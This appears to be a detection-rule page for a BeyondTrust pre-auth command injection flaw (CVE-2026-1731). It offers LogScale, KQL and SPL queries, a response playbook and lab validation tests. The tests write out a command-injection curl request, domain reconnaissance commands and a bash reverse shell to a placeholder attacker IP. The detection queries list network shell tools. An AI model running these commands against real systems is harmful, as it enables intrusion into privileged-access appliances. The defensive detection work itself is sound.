Detect BeyondTrust Remote Support Pre-Auth RCE (CVE-2026-1731) in CrowdStrike LogScale
Detects exploitation of CVE-2026-1731, a pre-authentication remote code execution vulnerability (CWE-78, OS command injection) in BeyondTrust Remote Support and Privileged Remote Access. CVSS 9.8. Actively exploited in the wild (CISA KEV). Attackers can execute arbitrary OS commands without authentication via crafted HTTP requests to the appliance web interface.
MITRE ATT&CK
LogScale Detection Query
// CVE-2026-1731 BeyondTrust Pre-Auth RCE Detection
#repo=base_activities
| filter event_simpleName IN ("ProcessRollup2", "NetworkConnectIP4", "NetworkConnectIP6", "SyntheticProcessRollup2")
// Signal 1: Suspicious child process under BeyondTrust parent
| case {
event_simpleName IN ("ProcessRollup2", "SyntheticProcessRollup2"):
filter match(tolower(ParentBaseFileName), "bomgar*") OR
match(tolower(ParentBaseFileName), "beyondtrust*") OR
match(tolower(ParentBaseFileName), "remote_support*") OR
match(tolower(ParentBaseFileName), "rs_app*")
| filter match(tolower(FileName), "cmd.exe") OR
match(tolower(FileName), "powershell.exe") OR
match(tolower(FileName), "bash") OR
match(tolower(FileName), "sh") OR
match(tolower(FileName), "python*") OR
match(tolower(FileName), "wget") OR
match(tolower(FileName), "curl") OR
match(tolower(FileName), "nc") OR
match(tolower(FileName), "whoami")
| eval detection_type="SuspiciousChildProcess";
event_simpleName IN ("NetworkConnectIP4", "NetworkConnectIP6"):
filter match(tolower(ImageFileName), "bomgar*") OR
match(tolower(ImageFileName), "beyondtrust*") OR
match(tolower(ImageFileName), "remote_support*")
| filter NOT (RemotePort IN (80, 443, 8080, 8443))
| filter NOT match(RemoteIP, "^10\\.|^192\\.168\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.")
| eval detection_type="AnomalousOutboundConnection";
}
| select timestamp, aid, ComputerName, detection_type, ParentBaseFileName, FileName, CommandLine, RemoteIP, RemotePort
| sort timestamp descCrowdStrike Falcon Insight CQL detecting CVE-2026-1731 via two signal paths on managed endpoints running BeyondTrust: suspicious child processes under BeyondTrust parent executables, and anomalous outbound network connections initiated by BeyondTrust processes to non-standard ports on public IPs.
Data Sources
Required Tables
False Positives & Tuning
- BeyondTrust appliance update processes that spawn shell utilities to install patches
- Authorized red team operations targeting BeyondTrust infrastructure with documented scope
- BeyondTrust integrations with third-party SIEM/SOAR platforms that initiate outbound connections on non-standard ports
Other platforms for CVE-2026-1731
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-1731 PoC HTTP Request Simulation
Expected signal: IIS/nginx access log entry: POST /api/unauthenticated/session with user-agent 'CVE-2026-1731-PoC-Test' and POST body containing ';id;whoami;'. WAF should log or block the request.
- Test 2BeyondTrust Service Account Spawning Shell (Simulated Post-Exploitation)
Expected signal: Windows Security Event 4688: new process cmd.exe with parent process belonging to BeyondTrust service account (btrs_service). Process command line contains whoami, hostname, ipconfig, net user.
- Test 3BeyondTrust Process Outbound Reverse Shell Simulation
Expected signal: Linux auditd execve syscall: bash -i spawned by beyondtrust service process. Network connection record: beyondtrust process connecting outbound to LAB_ATTACKER_IP:4444 (non-standard port, external IP).
References (5)
Response Playbook
Triage
- Verify the asset is running BeyondTrust Remote Support or Privileged Remote Access; cross-reference asset inventory and check the BT26-02 advisory for affected version ranges. Confirm patch status via the BeyondTrust admin console version string.
- Examine the HTTP request that triggered the alert: capture the full URL, POST body, source IP, and user-agent. Determine whether the request targeted a pre-authentication endpoint (no session cookie / Authorization header present). Check source IP against threat intel feeds and GreyNoise for CVE-2026-1731 scanner activity.
- Identify any child processes spawned by the BeyondTrust appliance service account in the 15 minutes surrounding the alert timestamp. Look for command interpreters (cmd, powershell, bash, sh), network utilities (wget, curl, nc), or reconnaissance binaries (whoami, id, ifconfig).
- Pull BeyondTrust appliance audit logs and application logs for the relevant time window. Look for authentication attempts, API calls with abnormal parameters, and error traces indicative of command injection (OS error codes, shell output in error messages).
Containment
- Immediately isolate the BeyondTrust appliance from the network at the firewall or load-balancer layer if active exploitation is confirmed. Block all inbound connections to the appliance web interface (TCP 443/80/8443) from untrusted networks. Do not power off the host — preserve volatile memory for forensics.
- Revoke all active BeyondTrust sessions, reset the appliance service account credentials, and rotate API keys. If the appliance is domain-joined or has privileged access to downstream systems, assume those credentials are compromised and initiate credential rotation for all accounts with sessions on the appliance.
- Apply BeyondTrust patch per BT26-02 advisory before bringing the appliance back online. Verify patch integrity via vendor-provided hash.
Evidence Collection
- Capture a full memory image of the BeyondTrust appliance host using a tool such as LiME (Linux) or WinPmem (Windows) before any remediation. Preserve process list, network connections (netstat -antp), and loaded modules at time of isolation.
- Export BeyondTrust appliance access logs, audit logs, and application error logs covering at least 72 hours prior to alert. Collect IIS/nginx/Apache access logs, OS-level auth logs (/var/log/auth.log or Windows Security EventLog), and any WAF logs. Hash all collected files (SHA-256) for chain-of-custody.
Escalation Criteria
- !Escalate immediately to IR lead if any of the following are observed: reverse shell or interactive shell process under the BeyondTrust service account, lateral movement from the appliance host to internal systems, data exfiltration indicators (large outbound transfers to external IPs), or evidence that attacker accessed privileged remote sessions managed by the appliance.
- !Escalate to executive leadership and legal/compliance if customer or employee endpoint data accessible via BeyondTrust sessions may have been exposed, or if the appliance was used to pivot into PCI, HIPAA, or other regulated environments.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
BeyondTrust appliance HTTP access log entries showing POST requests to pre-auth endpoints with anomalous parameters or oversized payloads - >
OS-level process creation records (Windows Security Event 4688 or Linux auditd execve) showing BeyondTrust parent spawning shell interpreter or network utility - >
Network connection records showing BeyondTrust process initiating outbound TCP to attacker-controlled IP on non-standard port (reverse shell beacon) - >
Filesystem artifacts in /tmp or %TEMP% directories: dropped payloads, web shells, or attacker tooling created by the BeyondTrust service account
Tuning Guidance
Start by baselining all processes legitimately spawned by BeyondTrust parent executables in your environment (typically none beyond the appliance's own sub-processes). Add allowlist exceptions for documented BeyondTrust update routines. For HTTP-based signals, tune the user-agent regex to exclude your internal monitoring and API clients. For the network anomaly rule, maintain a list of approved outbound destinations for the BeyondTrust appliance (vendor telemetry endpoints, licensing servers) and exclude those. Prioritize alerts where the source IP matches GreyNoise CVE-2026-1731 scanner tags or where the exploit-pattern POST is followed within 60 seconds by a child process spawn — that sequence has near-zero false-positive rate.
Hunting Queries
Hunt for all POST requests to BeyondTrust appliance pre-auth endpoints from external IPs in the past 30 days, grouped by source IP and URI to identify scanning/exploitation campaigns
W3CIISLog
| where TimeGenerated > ago(30d)
| where csMethod == "POST"
| where csUriStem has_any ("/api/", "/login", "/appliance", "/cgi-bin")
| where ipv4_is_private(cIP) == false
| summarize RequestCount=count(), URIs=make_set(csUriStem), StatusCodes=make_set(scStatus), UserAgents=make_set(csUserAgent) by cIP
| order by RequestCount descindex=* sourcetype=iis earliest=-30d
| where http_method="POST"
| where match(uri_path, "/api/|/login|/appliance|/cgi-bin")
| where NOT match(src_ip, "^10\.|^192\.168\.|^172\.(1[6-9]|2[0-9]|3[01])\.")
| stats count as request_count, values(uri_path) as uris, values(status) as status_codes, values(http_user_agent) as user_agents by src_ip
| sort -request_countHunt for BeyondTrust service account process activity on endpoints to identify post-exploitation lateral movement
DeviceProcessEvents
| where AccountName has_any ("bomgar", "beyondtrust", "btrs", "pra_service")
| where FileName in~ ("cmd.exe", "powershell.exe", "sh", "bash", "python.exe", "python3", "wget", "curl", "net.exe", "net1.exe", "nltest.exe", "whoami.exe")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| order by TimeGenerated descindex=wineventlog EventCode=4688 OR index=syslog type=execve
| where match(lower(parent_process_name), "bomgar|beyondtrust|btrs|pra_service")
| where match(lower(process_name), "cmd\.exe|powershell|bash|sh|python|wget|curl|net\.exe|whoami")
| table _time, host, user, parent_process_name, process_name, process_cmd
| sort -_timeAtomic Red Team Tests
Simulate the exploit HTTP request pattern targeting a BeyondTrust appliance pre-auth endpoint with a command injection payload in the POST body, to validate HTTP log detection and WAF alerting.
Command
curl -sk -X POST 'https://BTRS_HOST/api/unauthenticated/session' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: CVE-2026-1731-PoC-Test' --data 'param1=value&injected=;id;whoami;' -o /tmp/bt_test_response.txt 2>&1; echo 'Exit code:' $?Cleanup
rm -f /tmp/bt_test_response.txtExpected Telemetry
IIS/nginx access log entry: POST /api/unauthenticated/session with user-agent 'CVE-2026-1731-PoC-Test' and POST body containing ';id;whoami;'. WAF should log or block the request.
Expected Detection
HTTP user-agent signature rule triggers on 'CVE-2026-1731-PoC-Test'. Command injection payload regex matches ';id;' in POST body if body logging is enabled.
Simulate post-exploitation behavior by running a shell interpreter and reconnaissance commands as the BeyondTrust service account, to validate process-based detections. Run in an isolated lab VM only.
Command
runas /user:DOMAIN\btrs_service "cmd.exe /c whoami && hostname && ipconfig /all && net user && net group 'Domain Admins' /domain" 2>&1Cleanup
No persistent artifacts; process exits after command completion.Expected Telemetry
Windows Security Event 4688: new process cmd.exe with parent process belonging to BeyondTrust service account (btrs_service). Process command line contains whoami, hostname, ipconfig, net user.
Expected Detection
Suspicious child process detection triggers on cmd.exe spawned under BeyondTrust service account with reconnaissance command-line arguments.
Simulate an attacker establishing a reverse shell from the BeyondTrust appliance host to an external C2 server. Use a controlled lab environment with a netcat listener on a designated test IP.
Command
# On attacker machine (lab): nc -lvnp 4444
# On BeyondTrust appliance (lab, run as beyondtrust service user):
bash -c 'bash -i >& /dev/tcp/LAB_ATTACKER_IP/4444 0>&1' &
echo 'Reverse shell initiated, check listener'Cleanup
kill $(lsof -ti tcp:4444) 2>/dev/null; pkill -f 'bash -i' 2>/dev/nullExpected Telemetry
Linux auditd execve syscall: bash -i spawned by beyondtrust service process. Network connection record: beyondtrust process connecting outbound to LAB_ATTACKER_IP:4444 (non-standard port, external IP).
Expected Detection
Anomalous outbound connection detection triggers on BeyondTrust process connecting to external IP on port 4444. Child process detection triggers on interactive bash spawned under BeyondTrust parent.